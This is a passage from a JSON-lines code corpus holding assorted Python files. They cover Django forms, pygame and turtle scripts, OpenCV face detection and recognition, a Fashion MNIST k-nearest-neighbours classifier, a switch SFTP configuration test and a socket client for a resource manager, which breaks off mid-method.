+{"seq_id":"192521994","text":"from django import forms\nfrom django.contrib.postgres import forms as pg_forms\nfrom django.core.exceptions import ValidationError\n\nfrom ..base.forms import SentryProjectInput\nfrom ..checklists.forms import TagInput\nfrom ..repos.forms import RepoInput\nfrom . import models\n\n\nclass SplitArrayField(pg_forms.SplitArrayField):\n def has_changed(self, initial, data):\n try:\n python_data = self.to_python(data)\n except ValidationError:\n pass\n else:\n if self.remove_trailing_nulls:\n null_index = None\n for i, value in reversed(list(enumerate(python_data))):\n if value in self.base_field.empty_values:\n null_index = i\n else:\n break\n if null_index is not None:\n data = python_data[:null_index]\n\n if initial in self.empty_values and data in self.empty_values:\n return False\n return super().has_changed(initial, data)\n\n\nclass EnvironmentForm(forms.ModelForm):\n service_urls = SplitArrayField(\n forms.URLField(required=False),\n size=5,\n remove_trailing_nulls=True,\n label=\"Service URLs\",\n required=False,\n )\n\n class Meta:\n model = models.Environment\n fields = [\"name\", \"dashboard_url\", \"logs_url\", \"service_urls\"]\n labels = {\"dashboard_url\": \"Dashboard URL\", \"logs_url\": \"Logs URL\"}\n\n\nclass ServiceForm(forms.ModelForm):\n class Meta:\n model = models.Service\n fields = [\n \"owner\",\n \"name\",\n \"impact\",\n \"status\",\n \"slack_channel\",\n \"sentry_project\",\n \"sonarqube_project\",\n \"repository\",\n \"pagerduty_url\",\n \"docs_url\",\n \"tags\",\n ]\n labels = {\n \"pagerduty_url\": \"PagerDuty URL\",\n \"docs_url\": \"Documentation URL\",\n \"sonarqube_project\": \"Sonarqube project Key\",\n }\n widgets = {\n \"repository\": RepoInput(),\n \"sentry_project\": SentryProjectInput(),\n \"tags\": TagInput(),\n }\n\n\nServiceEnvironmentsFormSet = forms.inlineformset_factory(\n models.Service,\n models.Environment,\n form=EnvironmentForm,\n extra=5,\n max_num=5,\n can_delete=True,\n)\n","sub_path":"zoo/services/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"367077348","text":"\n\n#calss header\nclass _ARCHAEOLOGY():\n\tdef __init__(self,): \n\t\tself.name = \"ARCHAEOLOGY\"\n\t\tself.definitions = [u'the study of the buildings, graves, tools, and other objects that belonged to people who lived in the past, in order to learn about their culture and society']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'nouns'\n\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/nouns/_archaeology.py","file_name":"_archaeology.py","file_ext":"py","file_size_in_byte":447,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"579192839","text":"# -*-coding:utf-8-*-\nimport os\nimport pygame\n\nchinese_dir = 'chinese'\nif not os.path.exists(chinese_dir):\n os.mkdir(chinese_dir)\n\nfont_dir = 'C:/Windows/Fonts'\n\nfont_files = os.listdir(font_dir)\n\npygame.font.init()\nstart, end = (0x4E00, 0x9FA5) # 汉字编码范围\nfor codepoint in range(int(start), int(end)):\n word = chr(codepoint)\n # for i in range(0, len(font_files)):\n font = pygame.font.SysFont('simhei', 64)\n # 当前目录下要有微软雅黑的字体文件msyh.ttc,或者去c:\\Windows\\Fonts目录下找\n # 64是生成汉字的字体大小\n rtext = font.render(word, True, (0, 0, 0), (255, 255, 255))\n\n print(word.encode(\"gbk\"))\n # print(word.encode().decode('gbk'))\n path = chinese_dir + '/' + word + '_' + 'simhei' + '.png'\n path = path.encode('gbk')\n pygame.image.save(rtext, path)\n","sub_path":"chineserec/gen_chinese_word_pic.py","file_name":"gen_chinese_word_pic.py","file_ext":"py","file_size_in_byte":832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"457828461","text":"import turtle\n\n\nbutton1 = turtle.Turtle()\nbutton2 = turtle.Turtle()\nbutton1.pu()\nbutton2.pu()\nbutton1.ht()\nbutton2.ht()\nturtle.bgcolor('lightblue')\nscreen = turtle.Screen()\n#Model\n\nclass Model:\n\n\tdb = [0, 0] # part of Model?\n\n\tdef model_function(self, list_index, num):\n\t\tself.db[list_index] = num\n\nmy_model = Model()\n\n#Controller\n\ndef controller_function():\n\tturt_dist1 = turtle.distance(button1)\n\tturt_dist2 = turtle.distance(button2)\n\tif turt_dist1 <= 15:\n\t\tif my_model.db[0] == 1 and my_model.db[1] == 0:\n\t\t\tturtle.bgcolor(\"yellow\")\n\t\telif my_model.db[0] == 0:\n\t\t\tmy_model.model_function(0, 1)\n\tif turt_dist2 <=15:\n\t\tif my_model.db[1] == 1 and my_model.db[0] == 0:\n\t\t\tturtle.bgcolor(\"red\")\n\t\telif my_model.db[1] == 0:\n\t\t\tmy_model.model_function(1, 1)\n\tif my_model.db[0] == 1 and my_model.db[1] == 1:\n\t\tturtle.bgcolor(\"orange\")\n\n#View\n\ndef button_border():\n\tturtle.pd()\n\tturtle.color(\"black\", \"orange\")\n\tturtle.fill(True)\n\tfor i in range(2):\n\t\tturtle.fd(90)\n\t\tturtle.right(90)\n\t\tturtle.fd(30)\n\t\tturtle.right(90)\n\tturtle.fill(False)\n\tturtle.pu()\n\ndef set_up():\n\tturtle.ht()\n\tturtle.speed(9)\n\tturtle.pu()\n\tturtle.pensize(4)\n\tturtle.setpos(-250, -250)\n\tturtle.pd()\n\tfor i in range(4):\n\t\tturtle.fd(500)\n\t\tturtle.left(90)\n\tturtle.pu()\n\tturtle.setpos(-180, -200)\n\tbutton_border()\n\tbutton1.setpos(-135, -215)\n\tturtle.write(\"Button One\", font=(\"Times\", 18, \"bold\"))\n\tturtle.setpos(100, -200)\n\tbutton_border()\n\tbutton2.setpos(145, -215)\n\tturtle.write(\"Button Two\", font=(\"Times\", 18, \"bold\"))\n\ndef fwd():\n\tturtle.pu()\n\tturtle.fd(10)\n\tcontroller_function()\n\ndef rght():\n\tturtle.pu()\n\tturtle.right(90)\n\tcontroller_function()\n\ndef reset_buttons():\n\tmy_model.db[0] = 0\n\tmy_model.db[1] = 0\n\tturtle.bgcolor(\"lightblue\")\n\nset_up()\nturtle.home()\nturtle.st()\nturtle.onkey(fwd, \"Up\")\nturtle.onkey(rght, \"Right\")\nturtle.onkey(reset_buttons, \"r\")\nturtle.listen()\n\n\nturtle.mainloop()","sub_path":"MVC_model.py","file_name":"MVC_model.py","file_ext":"py","file_size_in_byte":1864,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"499726978","text":"__author__ = 'Tom Mingasson'\n\nimport numpy as np\nfrom math import *\nimport matplotlib.pyplot as plt\n\n\n\ndef computeStatistics(pts, radii, side, resolution=2048):\n\n # Create a mask of the axons\n xc = pts[:,0]\n yc = pts[:,1]\n xx, yy = np.mgrid[1:resolution+1, 1:resolution+1]\n\n mask = np.full((resolution,resolution), False, dtype=bool)\n\n for i in range(len(radii)):\n mask = np.logical_or(mask, np.sqrt((xx - xc[i] * (resolution/side))**2 + (yy - yc[i] * (resolution/side))**2) <= radii[i] * (resolution/side))\n\n Ls = np.sqrt(np.sum(pi*radii**2))\n Xmin = int((np.mean(pts[:,0]) - 2 * Ls/5) * resolution/side)\n Xmax = int((np.mean(pts[:,0]) + 2 * Ls/5) * resolution/side)\n Ymin = int((np.mean(pts[:,1]) - Ls/3) * resolution/side)\n Ymax = int((np.mean(pts[:,1]) + Ls/3) * resolution/side)\n\n maskTrunc = mask[Xmin:Xmax, Ymin:Ymax]\n maskTrunc = maskTrunc.astype(int)\n\n # Display Truncated Mask\n # plt.figure(1)\n # fig1 = plt.gcf()\n # plt.imshow(maskTrunc)\n # plt.show()\n\n\n # Compute micro structure characteristics\n g = 0.72\n\n Phi = float(np.sum(maskTrunc)) / ((Xmax - Xmin) * (Ymax - Ymin))\n\n NUi = g**2 * Phi\n\n NUm = (1 - g**2) / g**2 * NUi\n\n Fr = NUi / (NUi + (1 - Phi))\n\n return Phi, Fr","sub_path":"Axons Packing Code/Python Scripts For Axons Packing/statistics.py","file_name":"statistics.py","file_ext":"py","file_size_in_byte":1265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"378025793","text":"import cv2\nimport numpy as np\n\nfrom app.engines import EmotionRecognizer, FaceDetector\n\n\ndef blur_faces(face_detection_inference_results: np.ndarray, original_image: np.ndarray) -> np.ndarray:\n return original_image\n\n\ndef emotion_recognition_processing(original_frame: np.ndarray) -> np.ndarray:\n return original_frame\n\n\ndef face_detector_inference(image: np.ndarray) -> np.ndarray:\n face_detector = FaceDetector()\n *_, face_detector_width, face_detector_height = face_detector.input_shape\n\n # 1. Prepare the image\n pre_processed_image = pre_process_input_image(image,\n face_detector_height,\n face_detector_width)\n\n # 2. Infer the model\n face_detection_inference_results = face_detector.inference(pre_processed_image)\n\n return face_detection_inference_results\n\n\ndef emotion_recognizer_inference(cls, face_frame: np.ndarray) -> np.ndarray:\n emotion_recognizer = EmotionRecognizer()\n *_, emotion_recognizer_input_height, emotion_recognizer_input_width = emotion_recognizer.input_shape\n\n prepared_frame = pre_process_input_image(face_frame,\n target_width=emotion_recognizer_input_width,\n target_height=emotion_recognizer_input_height)\n\n # Run the inference the same way you did before\n inference_results = cls._emotion_recognizer.inference(prepared_frame)\n\n return inference_results\n\n\ndef blur(image: np.ndarray) -> np.ndarray:\n height, width = image.shape[:2]\n pixels_count = 16\n\n # Resize the image to pixels_count*pixels_count with interpolation to blur the image\n resized_image = cv2.resize(image, (pixels_count, pixels_count), interpolation=cv2.INTER_LINEAR)\n # Resize the image to original image size\n blurry_image = cv2.resize(resized_image, (width, height), interpolation=cv2.INTER_NEAREST)\n\n return blurry_image\n\n\ndef pre_process_input_image(image: np.ndarray, target_height: int, target_width: int) -> np.ndarray:\n # Resize the image dimensions from image to model input w x h\n resized_image = cv2.resize(image, (target_width, target_height))\n\n # Change data layout from HWC to CHW\n transposed_image = resized_image.transpose((2, 0, 1))\n\n n = 1 # Batch is always 1 in our case\n c = 3 # Channels is always 3 in our case\n\n # Reshape to input dimensions\n reshaped_image = transposed_image.reshape((n, c, target_height, target_width))\n return reshaped_image\n\n\ndef get_emoji_by_index(emotion_inference_result: np.ndarray) -> np.ndarray:\n emotions = ['neutral', 'happy', 'sad', 'surprised', 'angry']\n # Get the index of the emotion with the highest probability\n emotion_index = np.argmax(emotion_inference_result.flatten())\n emoji_path = f'./data/{emotions[emotion_index]}.png'\n return cv2.imread(emoji_path, -1)\n\n\ndef put_emoji_on_top_of_face(inference_results: np.ndarray, face: np.ndarray) -> np.ndarray:\n result_face = face.copy()\n\n # Get width and height of the face\n height, width, _ = face.shape\n\n # Get an emoji by inference results\n emoji = get_emoji_by_index(inference_results)\n\n # Resize the emoji to the face shape\n resized_emoji = cv2.resize(emoji, (width, height))\n\n # Put the emoji over the face\n alpha_s = resized_emoji[:, :, 3] / 255.0\n alpha_l = 1.0 - alpha_s\n for c in range(0, 3):\n result_face[:, :, c] = alpha_s * resized_emoji[:, :, c] + alpha_l * face[:, :, c]\n\n return result_face\n\n\ndef parse_face_detection_results(inference_results: np.ndarray,\n original_image_width: int,\n original_image_height: int,\n prob_threshold: float = 0.6) -> list:\n # Prepare a list to save the detected faces\n detected_faces = []\n\n # Iterate through all the detected faces\n for inference_result in inference_results[0][0]:\n\n # Get the probability of the detected face and convert it to percent\n probability = inference_result[2]\n\n # If confidence is more than the specified threshold, draw and label the box\n if probability < prob_threshold:\n continue\n\n # Get coordinates of the box containing the detected object\n xmin = int(inference_result[3] * original_image_width)\n ymin = int(inference_result[4] * original_image_height)\n xmax = int(inference_result[5] * original_image_width)\n ymax = int(inference_result[6] * original_image_height)\n confidence = round(probability * 100, 1)\n\n detected_face = (xmin, ymin, xmax, ymax, confidence)\n detected_faces.append(detected_face)\n\n return detected_faces\n","sub_path":"app/frame_utils.py","file_name":"frame_utils.py","file_ext":"py","file_size_in_byte":4748,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"233624478","text":"import cv2 as cv \nimport numpy as np \nimport pickle \n\nrecognize = cv.face.LBPHFaceRecognizer_create()\nface_cascade = cv.CascadeClassifier(\"cascade/data/haarcascade_frontalface_alt2.xml\")\neyes_cascade = cv.CascadeClassifier(\"cascade/data/haarcascade_eye.xml\")\nupperbody_cascade = cv.CascadeClassifier(\"cascade/data/haarcascade_upperbody.xml\")\n\nrecognize.read(\"yml/trainne.yml\")\n\nlables = {\"name\":1}\nwith open(\"pickle/labels.pickle\", 'rb') as f:\n original_labels = pickle.load(f)\n labels ={value:key for key,value in original_labels.items()}\ncap = cv.VideoCapture(False)\nwhile cap.isOpened():\n # capture frame by frame\n ret, img = cap.read()\n gray = cv.cvtColor(img, cv.COLOR_RGB2GRAY)\n # body\n upperbody = upperbody_cascade.detectMultiScale(gray,1.3,5)\n for x,y, w,h in upperbody:\n region_of_interest_gray = gray[y:y+h, x:x+w]\n region_of_interest_color = img[y:y+h, x:x+w]\n cv.rectangle(img, (x,y),(x+w,y+h),(0,0,255),2)\n #face\n faces = face_cascade.detectMultiScale(region_of_interest_gray)\n\n for fx,fy,fw,fh in faces:\n print(fx,fy,fw,fh)\n # region_of_interest_gray = gray[y:y+h, x:x+w]\n #region_of_interest_color = img[y:y+h, x:x+w]\n #recognize \n id_, confidence = recognize.predict(region_of_interest_gray)\n if confidence >= 50 and confidence<130:\n\n print(id_)\n print(labels[id_])\n cv.putText(img, labels[id_], (fx,fy), cv.FONT_HERSHEY_SIMPLEX, 1,(0,0,255), 2, cv.LINE_AA)\n img_item =\"picture/image.png\"\n cv.imwrite(img_item, region_of_interest_gray)\n cv.rectangle(region_of_interest_color, (fx,fy), (fx+fw, fy+fh), (0,255,0),2)\n #eyes\n eyes = eyes_cascade.detectMultiScale(region_of_interest_gray)\n for (ex, ey, ew, eh) in eyes:\n cv.rectangle(region_of_interest_color, (ex,ey), (ex+ew, ey+eh), (0,255,0),2)\n # display img \n cv.imshow(\"Camera\", img)\n if cv.waitKey(20) & 0xFF ==ord ('q'):\n break\n\n# done then relase\ncap.release()\ncv.destroyAllWindows()\n\n\n","sub_path":"upperbody/identification_and_recog/face_.py","file_name":"face_.py","file_ext":"py","file_size_in_byte":2132,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"592797753","text":"# Student Name: Thai Quoc Hoang - uwnetid: qthai912\n# Student ID: 1861609\n# Section: CSE163 AC\n# Instructor: Hunter Schafer\n\n# Program Description: This program does predicting and visualizing for\n# the kNN approach with Fashion MNIST dataset.\n\n\nimport numpy as np\nimport pandas as pd\nfrom operator import itemgetter\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\n\ndef norm_k(np_arr1, np_arr2, k=2):\n '''\n Pre : gives 2 numpy arrays with equal length represents 2 vectors and\n an integer represents the norm value with default is 2.\n\n Post: return a float represents the norm of square distance\n for 2 given arrays.\n '''\n return np.sum((np_arr1 - np_arr2)**2) ** (1 / k)\n\n\ndef magnitude(np_arr):\n '''\n Pre : gives a numpy array of floats.\n\n Post: returns a float represents the magnitude of the array.\n '''\n return np.sum(np_arr**2)**0.5\n\n\ndef cosine_distance(np_arr1, np_arr2):\n '''\n Pre : gives 2 numpy arrays of float with equal length represents 2 vectors.\n\n Post: returns a float represents the cosine distance of two given vectors.\n '''\n return np.arccos(\n np.sum(np_arr1 * np_arr2) / (magnitude(np_arr1) * magnitude(np_arr2))\n )\n\n\ndef get_k_nearest_neighbors(x_train,\n y_train,\n label_names,\n testing_instance,\n k=5,\n distance_function='norm_k',\n norm=2\n ):\n '''\n Pre : gives a numpy array of float represents x_train, a numpy array\n of float represents label for the corresponding x_train, a numpy array\n of string represents label names, a numpy array of float represents\n a single testing instance, an integer represents number of\n nearest neighbors needed (k) with default = 5, a string represents\n distance function with default = 'norm_k' (other: 'cosine_distance'),\n an integer represents the value of norm with default = 2.\n\n Post: returns a list of tuples represents k nearest neighbors for the\n testing instance in all training instance. The first element in each\n tuple is the label as string and the second element is the distance\n as float.\n '''\n test = testing_instance.reshape(-1,)\n distances = []\n\n for i in range(len(x_train)):\n instance = x_train[i].reshape(-1,)\n if distance_function == 'cosine_distance':\n distance = cosine_distance(test, instance)\n else:\n distance = norm_k(test, instance, norm)\n\n distances.append((label_names[y_train[i]], distance))\n\n return sorted(distances, key=itemgetter(1))[0:k]\n\n\ndef get_result(nn_list, verbose=0):\n '''\n Pre : gives a list of strings represents the nearest neighbors and an\n integer (0 or 1) represents the verbose.\n\n Post: if verbose != 1: returns the nearest neighbor; otherwise\n returns the whole list of all labels appeared in k-nearest neighbors\n that sorted by the scores of each label.\n '''\n instances_dict = {}\n for instance in nn_list:\n if instance[0] not in instances_dict:\n instances_dict[instance[0]] = []\n instances_dict[instance[0]].append(instance[1])\n\n instances_result_list = []\n for instance in instances_dict:\n score = len(instances_dict[instance]) / len(nn_list)\n instances_result_list.append((instance, score))\n\n instances_result_list = sorted(\n instances_result_list, key=itemgetter(1), reverse=True\n )\n if verbose == 1:\n return instances_result_list\n return instances_result_list[0][0]\n\n\ndef predict(x_train, y_train, x_test, y_test, label_names):\n '''\n Pre : gives a numpy array of float represents x_train, a numpy array of\n float represents label indexes for the corresponding x_train, a numpy array\n of float represents all testing instances, a numpy array of float\n represents all labels indexes for testing instances, and a numpy array of\n string represents label's names for given data.\n\n Post: returns a DataFrame as the result of predictions with 3 columns:\n 'Instance ID', 'Predict', 'Real Label'.\n '''\n right = 0\n total = 0\n\n result = pd.DataFrame(\n index=np.arange(0, len(x_test)),\n columns=['Instance ID', 'Predict', 'Real Label']\n )\n\n for i in range(len(x_test)):\n nearest_neighbors = get_k_nearest_neighbors(\n x_train, y_train, label_names, x_test[i], 10)\n y_pred = get_result(nearest_neighbors)\n if (y_pred == label_names[y_test[i]]):\n right += 1\n total += 1\n result.loc[i] = [i, y_pred, label_names[y_test[i]]]\n\n print('Instance ID: ', i, '; Predict: ', y_pred,\n '; Real Label: ', label_names[y_test[i]])\n print()\n print('Correct Prediction: ' + str(right))\n print('Total Prediction:' + str(total))\n print('Accuracy: ' + str(right / total * 100))\n print()\n return result\n\n\ndef visualize_images(data, labels, label_names, predict=None, channels=3,\n start=0, cols=4, rows=4, size=10, fontsize=10):\n '''\n Pre : gives a numpy array represents data of color images (4 dimensions\n array), a numpy array represents labels for the corresponding images, a\n numpy array represents the label names, a numpy array represents the\n prediction for the given images, an integer represents number of channels\n of the given images with default = 3, an integer represents start index\n for visualization with default = 0, an integer represents number of\n columns with default = 4, an integer represents number of columns with\n default = 4, an integer represents size of image with default = 10, an\n integer represents size of title's font with default = 10.\n\n Post: plots predicted images and save the plot to\n 'kNN predictions Examples.png'.\n '''\n if (channels != 3):\n data = data[:, :, :, 0]\n fig = plt.figure(figsize=(size, size))\n plt.subplots_adjust(bottom=.05, top=.95, hspace=.9)\n\n cols = cols\n rows = rows\n for i in range(1, cols * rows + 1):\n img = data[start + i - 1]\n fig.add_subplot(rows, cols, i)\n if (channels != 3):\n plt.imshow(img, cmap='gray')\n else:\n plt.imshow(img)\n\n if predict is not None:\n pred = predict[start + i - 1]\n else:\n pred = 'NaN'\n real = label_names[labels[start + i - 1]]\n plt.title('Predict: ' + pred + '\\n Real: ' + real, fontsize=fontsize)\n plt.axis('off')\n plt.savefig('kNN Predictions Examples.png')\n plt.show()\n\n\ndef check_predictions_probability(\n x_train, y_train, x_test, y_test, label_names, number_instances=10\n):\n '''\n Pre : gives a numpy array of float represents x_train, a numpy array\n of float represents label indexes for the corresponding x_train, a numpy\n array of float represents all testing instances, a numpy array of float\n represents labels indexes for testing instances, a numpy array of string\n represents label's names for given data, and an integer represents the\n number of instances to check with default = 10.\n\n Post: plots several predictions with probabilities of each label and\n saves the plot as png files.\n '''\n print('Use several examples to see how the model classify:')\n\n for i in range(number_instances):\n nearest_neighbors = get_k_nearest_neighbors(\n x_train, y_train, label_names, x_test[i], 10)\n scores = get_result(nearest_neighbors, verbose=1)\n\n scores_list = [0.0] * 10\n for item in scores:\n label = item[0]\n scores_list[int(np.where(label_names == label)[0])] = item[1]\n data = pd.DataFrame({'Labels': label_names, 'Scores': scores_list})\n sns.catplot(\n x='Labels',\n y='Scores',\n kind='bar',\n data=data\n )\n plt.xticks(rotation=-45)\n plt.title('Testing Instance ID: ' + str(i) + '\\n'\n 'Predicted:' + str(scores[0][0])\n + '\\nReal Label:' + str(label_names[y_test[i]]))\n plt.savefig('kNN prediction probability instance ' + str(i) + '.png',\n bbox_inches='tight')\n\n\ndef main():\n x_train = np.load('Models/x_train.npy')\n x_val = np.load('Models/x_val.npy')\n x_test = np.load('Models/x_test.npy')\n y_train = np.load('Models/y_train.npy')\n y_val = np.load('Models/y_val.npy')\n y_test = np.load('Models/y_test.npy')\n label_names = np.load('Models/label_names.npy')\n\n x_train = np.concatenate((x_train, x_val))\n y_train = np.concatenate((y_train, y_val))\n\n # training part (remove comments notations to re-predicting)\n '''\n print('Testing model')\n testing_result = predict(x_train, y_train, x_test, y_test, label_names)\n testing_result.to_csv('kNN results.csv')\n '''\n\n # check predictions probability\n sns.set()\n check_predictions_probability(x_train, y_train, x_test, y_test,\n label_names)\n\n # correct predictions statistics\n result = pd.read_csv('kNN results.csv')\n correct_predictions = len(\n result[result['Predict'] == result['Real Label']])\n total_predictions = len(result)\n print('Prediction Results: ')\n print(' Correct Predictions: ' + str(correct_predictions))\n print(' Total Predictions: ' + str(total_predictions))\n print(' Accuracy: '\n + str(correct_predictions / total_predictions * 100) + '%')\n print()\n\n # visualize several predictions\n y_pred = result['Predict'].values\n visualize_images(x_test, y_test, label_names, y_pred, channels=1,\n start=0, cols=8, rows=8, fontsize=8)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"Fashion MNIST/CODES/fashion_mnist_k_nearest_neighbors.py","file_name":"fashion_mnist_k_nearest_neighbors.py","file_ext":"py","file_size_in_byte":9829,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"155534963","text":"# -*- coding: utf-8 -*-\n#\n# Copyright (C) 2016 Hewlett Packard Enterprise Development LP\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\n\nTOPOLOGY = \"\"\"\n#\n# +-------+\n# | sw1 |\n# +-------+\n#\n\n# Nodes\n[type=openswitch name=\"Switch 1\"] sw1\n\"\"\"\n\n\ndef test_sftp_server_configuration(topology, step):\n sw1 = topology.get('sw1')\n\n assert sw1 is not None\n\n step('Enable the SFTP server and then verify the show command.')\n sw1('configure terminal')\n sw1(\"sftp server enable\")\n cmd_out = sw1(\"do show sftp server\")\n assert 'Enabled' in cmd_out\n\n step('Enable the SFTP server.')\n sw1(\"sftp server enable\")\n cmd_out = sw1(\"do show sftp server\")\n assert 'SFTP server : Enabled' in cmd_out\n\n step('Disable the SFTP server.')\n sw1(\"no sftp server enable\")\n cmd_out = sw1(\"do show sftp server\")\n assert 'SFTP server : Disabled' in cmd_out\n\n step('Enable the SFTP server and then verify the show running command.')\n sw1(\"sftp server enable\")\n cmd_out = sw1(\"do show running-config\")\n assert 'enable' in cmd_out\n\n step('Enable the SFTP server and check show running command.\\n'\n 'Disable the SFTP server and verify the config is removed '\n 'in the show running command.')\n sw1(\"sftp server enable\")\n cmd_out = sw1(\"do show running-config\")\n assert 'enable' in cmd_out\n\n sw1(\"no sftp server enable\")\n cmd_out = sw1(\"do show running-config\")\n assert 'enable' not in cmd_out\n","sub_path":"ops-ipapps/ops-tests/component/test_vtysh_ct_sftp.py","file_name":"test_vtysh_ct_sftp.py","file_ext":"py","file_size_in_byte":1951,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"553923562","text":"\"\"\"Define an abstract client.\"\"\"\n# pylint: disable=too-many-arguments\nimport socket\nfrom itertools import count\n\nfrom rotest.common import core_log\nfrom rotest.management.common import messages\nfrom rotest.management.common.errors import ErrorFactory\nfrom rotest.management.common.parsers import DEFAULT_PARSER\nfrom rotest.management.common.parsers.abstract_parser import ParsingError\nfrom rotest.common.config import (RESOURCE_REQUEST_TIMEOUT,\n RESOURCE_MANAGER_PORT)\nfrom rotest.management.common.utils import (MESSAGE_DELIMITER,\n MESSAGE_MAX_LENGTH)\n\n\nclass AbstractClient(object):\n \"\"\"Abstract client class.\n\n Basic requests handling for communicating with the remote server.\n\n Attributes:\n logger (logging.Logger): resource manager logger.\n lock_timeout (number): default waiting time on requests.\n _host (str): server's host.\n _port (number): server's port.\n _messages_counter (itertools.count): msg_id counter.\n _parser (AbstractParser): messages parser.\n \"\"\"\n REPLY_OVERHEAD_TIME = 2\n _DEFAULT_REPLY_TIMEOUT = 18\n\n def __init__(self, host, port=RESOURCE_MANAGER_PORT,\n parser=DEFAULT_PARSER(),\n lock_timeout=RESOURCE_REQUEST_TIMEOUT,\n logger=core_log):\n \"\"\"Initialize a socket connection to the server.\n\n Args:\n host (str): Server's IP address.\n port (number): Server's port.\n parser (AbstractParser): parser to parse the messages with.\n lock_timeout (number): default waiting time on requests.\n logger (logging.Logger): client's logger.\n \"\"\"\n self._host = host\n self._port = port\n self._socket = None\n self.logger = logger\n self._parser = parser\n self._messages_counter = count()\n self.lock_timeout = lock_timeout\n\n def connect(self, timeout=_DEFAULT_REPLY_TIMEOUT):\n \"\"\"Connect to manager server.\n\n Args:\n timeout (number): time to wait for a reply from the server.\n \"\"\"\n if self._socket is not None:\n self.logger.debug(\"Ignoring attempt to re-connect to server: %r\",\n self._host)\n return\n\n self.logger.debug(\"Connecting to server. Hostname: %r\", self._host)\n self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self._set_reply_timeout(timeout)\n self._socket.connect((self._host, self._port))\n\n def is_connected(self):\n \"\"\"Check if the socket is connected or not.\n\n Returns:\n bool. True if the socket is connected, False otherwise.\n \"\"\"\n return self._socket is not None\n\n def disconnect(self):\n \"\"\"Disconnect from manager server.\n\n Raises:\n RuntimeError: wasn't connected in the first place.\n \"\"\"\n if not self.is_connected():\n raise RuntimeError(\"Socket was not connected\")\n\n self._socket.close()\n\n def __enter__(self):\n \"\"\"Connect to manager server.\"\"\"\n self.connect()\n return self\n\n def __exit__(self, *args, **kwargs):\n \"\"\"Disconnect from manager server.\"\"\"\n self.disconnect()\n\n def _set_reply_timeout(self, timeout):\n \"\"\"Set the reply timeout.\n\n Args:\n timeout (number): Set the time (in seconds) to wait for a reply\n from the manager server.\n \"\"\"\n self.logger.debug(\"Setting client reply timeout to: %s\", timeout)\n\n if timeout is not None:\n timeout += self.REPLY_OVERHEAD_TIME\n\n self._socket.settimeout(timeout)\n\n def _request(self, request_msg, timeout=_DEFAULT_REPLY_TIMEOUT):\n \"\"\"Send a message to manager server and wait for an answer.\n\n * Encodes the request message and sends it to manager server.\n * Waits for manager server reply message.\n\n Args:\n request_msg (AbstractMessage): request for manager server.\n timeout (number): the request's waiting timeout.\n\n Returns:\n AbstractMessage. Server reply for given request.\n\n Raises:\n TypeError: client received an illegal reply message.\n ParsingError: client failed to decode server's reply.\n ParsingError: server failed to decode client's request.\n RuntimeError: server reply on a different request.\n RuntimeError: server didn't respond, timeout expired.\n ServerError: server failed to execute the request.\n \"\"\"\n self._set_reply_timeout(timeout)\n\n request_msg.msg_id = self._messages_counter.next()\n encoded_request = self._parser.encode(request_msg) + MESSAGE_DELIMITER\n sent_bytes = 0\n\n if len(encoded_request) > MESSAGE_MAX_LENGTH:\n raise RuntimeError(\"Client error: Trying to send a too long \"\n \"message to the server (%d > %d)\" %\n (len(encoded_request), MESSAGE_MAX_LENGTH))\n\n while sent_bytes < len(encoded_request):\n sent_bytes += self._socket.send(encoded_request[sent_bytes:])\n\n encoded_reply = \"\"\n\n try:\n while not encoded_reply.endswith(MESSAGE_DELIMITER):\n encoded_reply += self._socket.recv(MESSAGE_MAX_LENGTH)\n\n reply_msg = self._parser.decode(encoded_reply)\n\n except socket.timeout:\n raise RuntimeError(\"Server failed to respond to %r after %r \"\n \"seconds\" %\n (request_msg, self._socket.gettimeout()))\n\n if isinstance(reply_msg, messages.ParsingFailure):\n raise ParsingError(\"Server failed to parse a message, assumed ID \"\n \"%r. Failure Reason is: %r.\"\n % (request_msg.msg_id, reply_msg.reason))\n\n if not isinstance(reply_msg, messages.AbstractReply):\n raise TypeError(\"Server sent an illegal message. Replies should \"\n \"be of type AbstractReply. Received message is: %r\"\n % reply_msg)\n\n if reply_msg.request_id != request_msg.msg_id:\n raise RuntimeError(\"Client expect for reply on message with id %r,\"\n \" but got a reply on message with id %r\" %\n (request_msg.msg_id, reply_msg.request_id))\n\n if isinstance(reply_msg, messages.ErrorReply):\n raise ErrorFactory.build_error(reply_msg.code, reply_msg.content)\n\n return reply_msg\n\n def update_fields(self, model, filter_dict=None, **kwargs):\n \"\"\"Update content in the server's DB.\n\n Args:\n model (type): Django model to apply changes on.\n filter_dict (dict): arguments to filter by.\n kwargs (dict): the additional arguments are the changes to apply on\n the filtered instances.\n \"\"\"\n if filter_dict is None:\n filter_dict = {}\n\n msg = messages.UpdateFields(model=model,\n filter=filter_dict,\n kwargs=kwargs)\n\n 